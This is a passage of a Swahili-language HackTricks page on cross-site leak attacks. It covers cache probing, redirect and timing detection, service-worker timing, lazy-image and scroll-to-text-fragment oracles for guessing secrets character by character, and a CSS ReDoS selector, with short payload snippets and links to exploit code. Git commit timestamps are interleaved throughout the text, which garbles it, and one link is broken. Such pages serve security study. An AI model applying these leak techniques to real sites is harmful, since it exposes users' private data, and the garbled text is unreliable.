Ikiwa tovuti `mfano.com` inajumuisha rasilimali kutoka `*.mfano.com/rasilimali` basi rasilimali hiyo itakuwa na **ufunguo wa hifadhi sawa** kama rasilimali ingeombwa moja kwa moja kupitia **navigesheni ya kiwango cha juu**. Hii ni kwa sababu ufunguo wa hifadhi unajumuisha _eTLD+1_ ya kiwango cha juu na fremu ya _eTLD+1_.
Kwa sababu kupata hifadhi ni haraka kuliko kupakia rasilimali, inawezekana kujaribu kubadilisha mahali pa ukurasa na kufuta baada ya muda wa 20ms (kwa mfano). Ikiwa asili ilibadilishwa baada ya kusitisha, inamaanisha kwamba rasilimali ilihifadhiwa.\
Au unaweza tu **tuma ombi la fetch kwenye ukurasa uliohifadhiwa na kupima muda unavyochukua**.
### Uelekezaji wa Kibinafsi <a href="#fetch-with-abortcontroller" id="fetch-with-abortcontroller"></a>
* **Njia za Kuingiza**: Fetch API
* **Tofauti Inayoweza Kugundulika**: Uelekezaji
* **Maelezo Zaidi**: [ttps://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.gae7bf0b4f7\_0\_1234](https://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.gae7bf0b4f7\_0\_1234)
* **Muhtasari:** Inawezekana kugundua ikiwa jibu kwa ombi la fetch ni uelekezaji
* **Mfano wa Kanuni**:
2022-06-28 17:21:21 +00:00
![](<../.gitbook/assets/image (652).png>)
2022-06-27 16:53:32 +00:00
### Fetch na AbortController <a href="#fetch-with-abortcontroller" id="fetch-with-abortcontroller"></a>
* **Njia za Kuingiza**: Fetch API
* **Tofauti Inayoweza Kugundulika**: Wakati
* **Maelezo Zaidi**: [https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller](https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller)
* **Muhtasari:** Inawezekana kujaribu kupakia rasilimali na kusitisha kabla haijapakiwa. Kulingana na ikiwa kosa linasababishwa, rasilimali ilikuwa au haikuwa imehifadhiwa.
* **Mfano wa Kanuni**: [https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller](https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller)
Tumia _**fetch**_ na _**setTimeout**_ pamoja na **AbortController** kugundua ikiwa **rasilimali imehifadhiwa** na kufuta rasilimali fulani kutoka kwenye hifadhi ya kivinjari. Zaidi ya hayo, mchakato unatokea bila kuhifadhi maudhui mapya.
2024-02-11 02:13:58 +00:00
### Uchafuzi wa Script
2022-06-27 16:53:32 +00:00
* **Njia za Kuingiza**: Elementi za HTML (script)
2024-02-11 02:13:58 +00:00
* **Tofauti Inayoweza Kugundulika**: Yaliyomo kwenye Ukurasa
* **Maelezo Zaidi**: [https://xsleaks.dev/docs/attacks/element-leaks/#script-tag](https://xsleaks.dev/docs/attacks/element-leaks/#script-tag)
* **Muhtasari:** Inawezekana **kubadilisha kazi zilizoingizwa** na kusoma hoja zao hata kutoka kwa **script ya asili** (ambayo haiwezi kusomwa moja kwa moja), hii inaweza **kufichua habari muhimu**.
2024-02-11 02:13:58 +00:00
* **Mfano wa Kanuni**: [https://xsleaks.dev/docs/attacks/element-leaks/#script-tag](https://xsleaks.dev/docs/attacks/element-leaks/#script-tag)
2022-06-27 16:53:32 +00:00
### Wafanyikazi wa Huduma <a href="#service-workers" id="service-workers"></a>
2022-06-27 16:53:32 +00:00
2024-02-11 02:13:58 +00:00
* **Njia za Kuingiza**: Pop-ups
* **Tofauti Inayoweza Kugundulika**: Yaliyomo kwenye Ukurasa
* **Maelezo Zaidi**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#service-workers](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#service-workers)
* **Muhtasari:** Pima muda wa utekelezaji wa wavuti kwa kutumia wafanyikazi wa huduma.
2024-02-11 02:13:58 +00:00
* **Mfano wa Kanuni**:
2022-06-27 16:53:32 +00:00
Katika hali iliyotolewa, mkaidi anachukua hatua ya kujiandikisha **mfanyikazi wa huduma** ndani ya moja ya uwanja wao, kwa usahihi "mkaidi.com". Kisha, mkaidi anaifungua dirisha jipya kwenye wavuti ya lengo kutoka kwa hati kuu na kuagiza **mfanyikazi wa huduma** kuanza kipima muda. Wakati dirisha jipya linapoanza kupakia, mkaidi anaviga kumbukumbu iliyopatikana hatua ya awali kwenye ukurasa unaoendeshwa na **mfanyikazi wa huduma**.
2022-06-27 16:53:32 +00:00
Baada ya kupokea ombi lililoanzishwa hatua iliyotangulia, **mfanyikazi wa huduma** anajibu na msimbo wa hali ya **204 (Hakuna Yaliyomo)**, ikimaliza kwa ufanisi mchakato wa urambazaji. Wakati huu, **mfanyikazi wa huduma** anapata kipimo kutoka kwa kipima muda ulioanzishwa mapema katika hatua ya pili. Kipimo hiki kinaathiriwa na urefu wa JavaScript unaosababisha kucheleweshwa katika mchakato wa urambazaji.
2022-06-27 16:53:32 +00:00
2022-06-28 15:48:43 +00:00
{% hint style="warning" %}
Katika utekelezaji wa muda, inawezekana **kufuta** **faktori za mtandao** ili kupata **vipimo sahihi zaidi**. Kwa mfano, kwa kupakia rasilimali zinazotumiwa na ukurasa kabla ya kuzipakia.
2022-06-27 23:34:20 +00:00
{% endhint %}
### Kupima Muda wa Kupakua
2022-06-27 16:53:32 +00:00
2024-02-11 02:13:58 +00:00
* **Njia za Kuingiza**: Fetch API
* **Tofauti Inayoweza Kugundulika**: Muda (kwa ujumla kutokana na Yaliyomo kwenye Ukurasa, Msimbo wa Hali)
2024-02-11 02:13:58 +00:00
* **Maelezo Zaidi**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks)
* **Muhtasari:** Tumia [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) kupima muda unaochukua kufanya ombi. Vitoa vingine vya saa vinaweza kutumika.
2024-02-11 02:13:58 +00:00
* **Mfano wa Kanuni**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks)
2022-06-27 16:53:32 +00:00
### Kupima Muda kati ya Madirisha
2022-06-27 16:53:32 +00:00
2024-02-11 02:13:58 +00:00
* **Njia za Kuingiza**: Pop-ups
* **Tofauti Inayoweza Kugundulika**: Muda (kwa ujumla kutokana na Yaliyomo kwenye Ukurasa, Msimbo wa Hali)
2024-02-11 02:13:58 +00:00
* **Maelezo Zaidi**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks)
* **Muhtasari:** tumia [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) kupima muda unaochukua kufanya ombi kwa kutumia `window.open`. Vitoa vingine vya saa vinaweza kutumika.
2024-02-11 02:13:58 +00:00
* **Mfano wa Kanuni**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks)
2022-06-27 16:53:32 +00:00
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
2022-08-31 22:35:39 +00:00
\
Tumia [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kujenga na **kutumia taratibu za kiotomatiki** zinazotumia zana za jamii za juu zaidi duniani.\
2024-02-11 02:13:58 +00:00
Pata Ufikiaji Leo:
2022-08-31 22:35:39 +00:00
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## Kwa Kutumia HTML au Kuingiza Upya
2022-06-27 16:53:32 +00:00
Hapa unaweza kupata njia za kufichua habari kutoka kwa HTML ya asili **kwa kuingiza yaliyomo kwenye HTML**. Njia hizi ni muhimu katika hali ambapo kwa sababu yoyote unaweza **kuingiza HTML lakini huwezi kuingiza msimbo wa JS**.
2022-06-27 16:53:32 +00:00
### Alama Isiyotumika
{% content-ref url="dangling-markup-html-scriptless-injection/" %}
[dangling-markup-html-scriptless-injection](dangling-markup-html-scriptless-injection/)
2022-06-27 23:34:20 +00:00
{% endcontent-ref %}
### Upakiaji wa Picha kwa Uvivu
Ikiwa unahitaji **kufichua yaliyomo** na unaweza **kuongeza HTML kabla ya siri** unapaswa kuangalia **njia za kawaida za alama isiyotumika**.\
Hata hivyo, ikiwa kwa sababu yoyote **LAZIMA** ufanye hivyo **herufi kwa herufi** (labda mawasiliano ni kupitia hit ya cache) unaweza kutumia hila hii.
2024-02-11 02:13:58 +00:00
**Picha** katika HTML ina sifa ya "**upakiaji**" ambayo thamani yake inaweza kuwa "**uvivu**". Katika kesi hiyo, picha itapakia wakati inapoonekana na sio wakati ukurasa unapakia:
2022-06-27 23:34:20 +00:00
```html
<img src=/something loading=lazy >
```
Kwa hivyo, unaweza **kuongeza herufi nyingi za taka** (Kwa mfano **maelfu ya "W"s**) ili **kujaza ukurasa wa wavuti kabla ya siri au kuongeza kitu kama** `<br><canvas height="1850px"></canvas><br>.`\
Kisha kama kwa mfano **injini yetu inaonekana kabla ya bendera**, **picha** ita **pakia**, lakini ikiwa inaonekana **baada** ya **bendera**, bendera + taka itazuia **kupakia** (utahitaji kucheza na kiasi cha taka kuweka). Hii ndio ilifanyika katika [**hii andishi**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/).
Chaguo lingine lingekuwa kutumia **scroll-to-text-fragment** ikiwa inaruhusiwa:
#### Scroll-to-text-fragment
Walakini, unaweza kufanya **bot kupata ukurasa** na kitu kama
```
2022-06-27 23:34:20 +00:00
#:~:text=SECR
```
2024-02-11 02:13:58 +00:00
Kwa hivyo ukurasa wa wavuti utakuwa kama: **`https://victim.com/post.html#:~:text=SECR`**
Ambapo post.html ina vicharazi vya mshambuliaji na picha ya mzigo wa uvivu kisha siri ya bot inaongezwa.
Kazi ya maandishi haya ni kufanya boti kupata ufikiaji wa maandishi yoyote kwenye ukurasa ambao una maandishi `SECR`. Kwa kuwa maandishi hayo ni siri na iko **chini ya picha**, **picha itapakia tu ikiwa siri iliyoguiliwa ni sahihi**. Hivyo hapo unayo orakili yako ya **kuchukua siri herufi kwa herufi**.
Mfano wa nambari ya kudanganya hii: [https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e](https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e)
### Wakati wa Kupakia Picha kwa Uvivu
Ikiwa **si rahisi kupakia picha ya nje** ambayo inaweza kuashiria mshambuliaji kwamba picha imepakia, chaguo lingine litakuwa kujaribu **kuguess herufi mara kadhaa na kupima hilo**. Ikiwa picha imepakia maombi yote yangechukua muda mrefu kuliko ikiwa picha haipaki. Hii ndio iliyotumiwa katika [**ufumbuzi wa andiko hili**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/) **imefupishwa hapa:**
2022-10-12 19:31:39 +00:00
{% content-ref url="xs-search/event-loop-blocking-+-lazy-images.md" %}
[event-loop-blocking-+-lazy-images.md](xs-search/event-loop-blocking-+-lazy-images.md)
{% endcontent-ref %}
2022-06-28 15:48:43 +00:00
### ReDoS
2022-06-28 15:48:43 +00:00
{% content-ref url="regular-expression-denial-of-service-redos.md" %}
[regular-expression-denial-of-service-redos.md](regular-expression-denial-of-service-redos.md)
2022-06-27 23:34:20 +00:00
{% endcontent-ref %}
2022-06-28 15:48:43 +00:00
### CSS ReDoS
Ikiwa `jQuery(location.hash)` inatumika, ni rahisi kugundua kupitia wakati ikiwa kuna **maudhui ya HTML yaliyopo**, hii ni kwa sababu ikiwa chaguzi `main[id='site-main']` hazilingani, haina haja ya kuangalia sehemu nyingine za **chaguzi**:
2022-06-28 15:48:43 +00:00
```javascript
$("*:has(*:has(*:has(*)) *:has(*:has(*:has(*))) *:has(*:has(*:has(*)))) main[id='site-main']")
```
2024-02-11 02:13:58 +00:00
### Uingizaji wa CSS
2022-06-28 15:48:43 +00:00
{% content-ref url="xs-search/css-injection/" %}
[css-injection](xs-search/css-injection/)
2022-06-28 15:48:43 +00:00
{% endcontent-ref %}
2024-02-11 02:13:58 +00:00
## Ulinzi
Kuna kupunguza hatari zilizopendekezwa katika [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) pia katika kila sehemu ya wiki [https://xsleaks.dev/](https://xsleaks.dev/). Tazama hapo kwa maelezo zaidi kuhusu jinsi ya kulinda dhidi ya mbinu hizi.
2024-02-11 02:13:58 +00:00
## Marejeo
2022-06-28 15:48:43 +00:00
* [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf)
2022-06-27 23:34:20 +00:00
* [https://xsleaks.dev/](https://xsleaks.dev)
* [https://github.com/xsleaks/xsleaks](https://github.com/xsleaks/xsleaks)
* [https://xsinator.com/](https://xsinator.com/)
* [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Jifunze kuhusu udukuzi wa AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-11 02:13:58 +00:00
Njia nyingine za kusaidia HackTricks:
2023-12-31 01:25:17 +00:00
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
2022-04-28 16:01:33 +00:00
</details>
2022-08-31 22:35:39 +00:00
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
2022-08-31 22:35:39 +00:00
\
Tumia [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kujenga na **kutumia workflows** kwa urahisi zinazotumia zana za jamii za **juu zaidi** duniani.\
2024-02-11 02:13:58 +00:00
Pata Ufikiaji Leo:
2022-08-31 22:35:39 +00:00
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}